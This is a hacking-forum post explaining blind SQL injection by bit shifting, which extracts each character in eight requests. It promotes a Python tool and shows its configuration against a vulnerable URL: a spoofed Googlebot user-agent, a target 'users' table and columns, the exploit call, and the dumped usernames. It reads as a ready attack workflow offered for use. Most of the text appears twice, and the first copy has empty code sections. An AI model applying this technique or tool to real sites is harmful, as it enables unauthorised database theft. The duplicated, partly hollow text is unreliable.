Blind SQL Injection using Bitshifting 05-30-2016, 05:17 PM
#1
Normally, blind SQL is exploited by brute-forcing the entire ASCII table for each character (slow af), or by doing a time-based attack (even slower). There's also the double substr method, which is faster than this one, but won't work in every single case. This method works everywhere. Original paper: https://www.exploit-db.com/papers/17073/
Bitshifting is a method that allows exploitation in exactly 8 requests per character (7 if we assume it's only ascii), every single time. Basically we shift every char >> 7-x, where x is the index of the bit, assume the next one is 1, and check.
If the character we're finding is 'a', then select it and convert it to its decimal representation, 97. In binary, this is 01100001.
If we shift it 7, then we're only selecting the first bit:
01100001 >> 7 = 00000000
We can check to see if it equals 0, and if it does, then we have our first bit. We can then shift 6 like so:
01100001 >> 6 = 00000001
check if this is 1, which it is, so our number so far is 01. Then, shift 5:
01100001 >> 5 = 00000011
which equals 3, so we check if it's 3 and if it is, then our new number is 011. etc...
Basically, on every shift, we imagine that the next bit is 1, think about what the value would be if it was 1, and then check if the value is equal to that. If it is, then our next bit is 1, and if it isn't, then our next bit is 0, and the value is unchanged. Another way of checking is by shifting each time and checking if the new value is different to the previous one. If it is, then the next bit was a 1, and if not, then it was a 0.
Repeat this every time for every shift, and in 8 requests, you'll get the entire byte. Repeat this for every char and you're done.
I wrote a script to automate this here: https://github.com/libeclipse/blind-sql-bitshifting
Usage
Example configuration:
The `assume_only_ascii` option makes the module assume that the characters it's dumping are all ASCII. Since the ASCII charset only goes up to `127`, we can set the first bit to `0` and not worry about calculating it. That's a `12.5%` reduction in requests. Testing locally, this yeilded an average speed increase of `15%`. Of course this can cause issues when dumping chars that are outside of the ASCII range. By default, it's set to `0`.
Once configured:
This returns a 2-dimensional array, with each sub-array containing a single row, the first being the column headers.
Example output:
Optionally, your scripts can then harness the tabulate module to output the data:
This would output:
Bitshifting is a method that allows exploitation in exactly 8 requests per character (7 if we assume it's only ascii), every single time. Basically we shift every char >> 7-x, where x is the index of the bit, assume the next one is 1, and check.
If the character we're finding is 'a', then select it and convert it to its decimal representation, 97. In binary, this is 01100001.
If we shift it 7, then we're only selecting the first bit:
01100001 >> 7 = 00000000
We can check to see if it equals 0, and if it does, then we have our first bit. We can then shift 6 like so:
01100001 >> 6 = 00000001
check if this is 1, which it is, so our number so far is 01. Then, shift 5:
01100001 >> 5 = 00000011
which equals 3, so we check if it's 3 and if it is, then our new number is 011. etc...
Basically, on every shift, we imagine that the next bit is 1, think about what the value would be if it was 1, and then check if the value is equal to that. If it is, then our next bit is 1, and if it isn't, then our next bit is 0, and the value is unchanged. Another way of checking is by shifting each time and checking if the new value is different to the previous one. If it is, then the next bit was a 1, and if not, then it was a 0.
Repeat this every time for every shift, and in 8 requests, you'll get the entire byte. Repeat this for every char and you're done.
I wrote a script to automate this here: https://github.com/libeclipse/blind-sql-bitshifting
Usage
Code:
import blind-sql-bitshifting as x
# Edit this dictionary to configure attack vectors
x.options
Example configuration:
Code:
# Vulnerable link
x.options["target"] = "http://www.example.com/index.php?id=1"
# Specify cookie (optional)
x.options["cookies"] = ""
# Specify a condition for a specific row, e.g. 'uid=1' for admin (optional)
x.options["row_condition"] = ""
# Boolean option for following redirections
x.options["follow_redirections"] = 0
# Specify user-agent
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# Specify table to dump
x.options["table_name"] = "users"
# Specify columns to dump
x.options["columns"] = "id, username"
# String to check for on page after successful statement
x.options["truth_string"] = "<p id='success'>true</p>"
# See below
x.options["assume_only_ascii"] = 1
The `assume_only_ascii` option makes the module assume that the characters it's dumping are all ASCII. Since the ASCII charset only goes up to `127`, we can set the first bit to `0` and not worry about calculating it. That's a `12.5%` reduction in requests. Testing locally, this yeilded an average speed increase of `15%`. Of course this can cause issues when dumping chars that are outside of the ASCII range. By default, it's set to `0`.
Once configured:
Code:
data = x.exploit()
This returns a 2-dimensional array, with each sub-array containing a single row, the first being the column headers.
Example output:
Code:
[['id', 'username'], ['1', 'eclipse'], ['2', 'dotcppfile'], ['3', 'Acey'], ['4', 'Wardy'], ['5', 'luxy']]
Optionally, your scripts can then harness the tabulate module to output the data:
Code:
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # This specifies to use the first row as the column headers.
tablefmt='psql') # Using the SQL output format. Other formats can be used.
This would output:
Code:
+------+------------+
| id | username |
|------+------------|
| 1 | eclipse |
| 2 | dotcppfile |
| 3 | Acey |
| 4 | Wardy |
| 5 | luxy |
+------+------------+